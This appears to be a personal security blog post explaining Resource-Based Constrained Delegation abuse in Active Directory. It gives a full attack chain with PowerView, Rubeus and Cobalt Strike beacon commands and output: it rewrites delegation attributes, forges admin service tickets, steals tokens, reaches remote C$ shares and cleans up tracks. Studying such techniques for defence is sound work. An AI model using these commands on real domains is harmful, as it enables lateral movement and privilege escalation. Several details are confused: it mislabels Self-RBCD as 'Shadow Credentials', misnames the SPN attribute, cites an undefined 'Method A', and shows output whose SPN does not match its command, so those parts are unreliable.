Fuck the critics

RBCD

2026-02-02 — research

JAJJASJAJAJAJAJA AHORA ME TOCA RBCD JAJAJAJJAJAJAJA QUIERO LLORAR

RBCD

RBCD flips the trust model on its head. Instead of the front-end service dictating which back-end services it can delegate to, it is now the back-end service that controls which front-end services are allowed to delegate to it.

This is managed via a new attribute on the back-end service account: msDS-AllowedToActOnBehalfOfOtherIdentity. This attribute contains a list of principals (front-end services) that have permission to impersonate users on this resource.

The massive advantage is that SeEnableDelegationPrivilege is no longer required. The only privilege needed is write access to this specific attribute, a permission that can be easily delegated to service administrators via the Active Directory Delegation of Control Wizard.

An administrator with these rights can configure RBCD using PowerShell:

# $front is the service that will delegate (e.g. [FRONT_SERVER_1])

$front = Get-ADComputer -Identity '[FRONT_SERVER_1]'

# $back is the resource receiving the delegation (e.g. [BACK_SERVER_1])

$back = Get-ADComputer -Identity '[BACK_SERVER_1]'

# Configure the $back object to allow $front to delegate to it

Set-ADComputer -Identity $back -PrincipalsAllowedToDelegateToAccount $front

RBCD Abuse Scenarios

RBCD abuse is different. Compromising the front-end service does not automatically compromise the back-end. However, this flexibility introduces two main attack vectors: a "classic" abuse for lateral movement and an "advanced" abuse for local privilege escalation, sometimes referred to as "Shadow Credentials" (or Self-RBCD).

1. Lateral Movement

This is the most common scenario, where an attacker controlling one machine seeks to move laterally to another.

Attack Conditions:

  1. The attacker has write permissions on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a target computer object (the back-end, e.g., [BACK_SERVER_1]).
  2. The attacker has control over another principal (a user or computer account) that has an SPN configured (the front-end, e.g., [WORKSTATION_1]).

Step 1: Finding Permissions

First, we need the attribute's GUID. According to Microsoft documentation, the GUID for ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity is distinctive.

We can use PowerView to search the ACLs of domain computers:

PS C:\> Import-Module C:\Tools\PowerSploit\Recon\PowerView.ps1

PS C:\> $Cred = Get-Credential [DOMAIN]\[EXAMPLE_USER]

PS C:\> Get-DomainComputer -Server [SERVER_IP] -Credential $Cred | Get-DomainObjectAcl -Server [SERVER_IP] -Credential $Cred | ? { $_.ObjectAceType -eq '[EXAMPLE_GUID]' -and $_.ActiveDirectoryRights -Match 'WriteProperty' } | select ObjectDN,SecurityIdentifier


ObjectDN                                        SecurityIdentifier

--------                                        ------------------

CN=[BACK_SERVER_1],OU=Member Servers,DC=[DOMAIN],DC=com [EXAMPLE_SID]

This tells us that the SID [EXAMPLE_SID] (which could be a group like "Server Admins") has this permission on [BACK_SERVER_1]. If our compromised user is in that group, we meet Condition #1.

Step 2: Obtain a Principal with an SPN

The attacker needs to control a "front-end" account with an SPN. Options include:

  • Using a compromised computer account: If the attacker has SYSTEM on [WORKSTATION_1], they can use [WORKSTATION_1]$ (all computer accounts have SPNs by default).
  • Using a compromised service account: Obtained via Kerberoasting.
  • Creating a new computer account: If msDS-MachineAccountQuota is > 0 (default is 10), a standard user can add a machine to the domain and use it.

Step 3: The Attack (Configure RBCD and Execute S4U)

In our scenario, we control [WORKSTATION_1] and want to attack [BACK_SERVER_1].

First, we add our controlled machine ($wkstn1) to the target's RBCD attribute ([BACK_SERVER_1]):

PS C:\> $ws1 = Get-ADComputer -Identity '[FRONT_SERVER_1]' -Server [SERVER_IP] -Credential $Cred

PS C:\> $wkstn1 = Get-ADComputer -Identity '[WORKSTATION_1]' -Server [SERVER_IP] -Credential $Cred

# We add $wkstn1 to the list, preserving the existing entry $ws1

PS C:\> Set-ADComputer -Identity '[BACK_SERVER_1]' -PrincipalsAllowedToDelegateToAccount $ws1,$wkstn1 -Server [SERVER_IP] -Credential $Cred

Second, from [WORKSTATION_1] (where we have SYSTEM), we dump the computer account's TGT:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

[*] Base64EncodedTicket   :      [TICKET_DATA_1]

Third, we use Rubeus s4u to impersonate an [ADMIN_USER] targeting [BACK_SERVER_1], using the TGT of [WORKSTATION_1]$:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:[WORKSTATION_1]$ /impersonateuser:[ADMIN_USER] /msdsspn:cifs/[BACK_SERVER_1] /ticket:[TICKET_DATA_1] /nowrap


[*] Action: S4U

[*] Building S4U2self request for: '[WORKSTATION_1]$@[DOMAIN.COM]'

[+] S4U2self success!

[*] Got a TGS for '[ADMIN_USER]' to '[WORKSTATION_1]$@[DOMAIN.COM]'

      [TICKET_DATA_2]

[*] Impersonating user '[ADMIN_USER]' to target SPN 'cifs/[BACK_SERVER_1]'

[*] Building S4U2proxy request for service: 'cifs/[BACK_SERVER_1]'

[+] S4U2proxy success!

[*] base64(ticket.kirbi) for SPN 'cifs/[BACK_SERVER_1]':

      [TICKET_DATA_3]

Step 4: Accessing the Target

We have obtained a ticket for cifs/[BACK_SERVER_1] as [ADMIN_USER]. Now we use it:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:[ADMIN_USER] /password:FakePass /ticket:[TICKET_DATA_3]

[+] ProcessID       : 4568

[+] Ticket successfully imported!

beacon> steal_token 4568

beacon> ls \\[BACK_SERVER_1]\c$

 Size     Type    Last Modified         Name

 ----     ----    -------------         ----

          dir     01/23/2025 15:44:52   $Recycle.Bin

...

2. "Shadow Credentials" Escalation / Self-Abuse

This second scenario, highlighted by researchers like Elad Shamir, is a privilege escalation vector rather than lateral movement.

Attack Condition:

The attacker has write privileges (GenericWrite, WriteProperty, etc.) over the target computer object itself ([VICTIM_PC]). This is common if the attacker has already compromised the machine as a privileged local user or found a misconfigured ACL.

Attack Logic:

If the attacker has GenericWrite over [VICTIM_PC], they can do two crucial things:

  1. Modify msDS-AllowedToActOnBehalfOfOtherIdentity: They can add a principal of their choice to the trust list.
  2. Modify msDS-ServicePrincipalName: They can add a new SPN to the computer.

The attacker combines these to perform a "self-abuse" attack.

Step 1: Configure Self-Abuse

The attacker uses their write permissions on [VICTIM_PC] to configure it to trust itself for delegation.

# Get the victim object

$victim = Get-ADComputer -Identity '[VICTIM_PC]'

# Configure [VICTIM_PC] to allow itself to delegate to itself

Set-ADComputer -Identity $victim -PrincipalsAllowedToDelegateToAccount $victim

Step 2: Obtain TGT and Choose Target SPN

The attacker, assuming they already control [VICTIM_PC] (and thus can obtain its TGT, e.g., as SYSTEM), must choose an SPN to attack.

# Dump the TGT of [VICTIM_PC]$ (as SYSTEM)

beacon> execute-assembly Rubeus.exe dump /luid:0x3e7 /service:krbtgt /nowrap

[*] Base64EncodedTicket   :      [TICKET_DATA_4]

"Shadow SPN" (Noisy)

The attacker adds a "fake" SPN to the [VICTIM_PC] object. This is functional but noisy, as modifying the msDS-ServicePrincipalName attribute is often monitored by security solutions like Microsoft Defender for Identity

# Add a "fake" HTTP SPN

Set-ADComputer -Identity '[VICTIM_PC]' -ServicePrincipalNames @{Add="http/[EXAMPLE_SUBDOMAIN].[DOMAIN.COM]"}

Step 3: Execute the S4U Attack (Targeting Self)

The attacker executes S4U, impersonating an [ADMIN_USER] towards itself, but pointing to the chosen SPN.

beacon> execute-assembly Rubeus.exe s4u /user:[VICTIM_PC]$ /impersonateuser:[ADMIN_USER] /msdsspn:http/[EXAMPLE_SUBDOMAIN].[DOMAIN.COM] /ticket:[TICKET_DATA_4] /nowrap

Both commands will perform the S4U2self + S4U2proxy flow and return a valid service ticket for the target SPN, but in the name of [ADMIN_USER].

[*] Action: S4U

[*] Building S4U2self request for: '[VICTIM_PC]$@[DOMAIN.COM]'

[+] S4U2self success!

[*] Impersonating user '[ADMIN_USER]' to target SPN 'HOST/[VICTIM_PC].[DOMAIN.COM]'

[*] Building S4U2proxy request for service: 'HOST/[VICTIM_PC].[DOMAIN.COM]'

[+] S4U2proxy success!

[*] base64(ticket.kirbi) for SPN 'HOST/[VICTIM_PC].[DOMAIN.COM]':

      [TICKET_DATA_5]

Step 4: Escalate Privileges

The attacker now has a service ticket as [ADMIN_USER] for a service (HOST or http) running on [VICTIM_PC]. They can use this ticket to authenticate to the machine and gain full control. For example, the HOST service is associated with CIFS, so they can access \\[VICTIM_PC]\C$.

This turns a simple GenericWrite permission on a computer object into a full privilege escalation to NT AUTHORITY\SYSTEM on that machine.

Cleanup

A good attacker cleans up their tracks. In the classic scenario, they would remove their principal from the RBCD list:

PS C:\> Set-ADComputer -Identity '[BACK_SERVER_1]' -PrincipalsAllowedToDelegateToAccount $ws1 -Server [SERVER_IP] -Credential $Cred

In the "Shadow Credentials" scenario, they would revert the self-trust and delete the fake SPN (if Method A was used).

← back to blog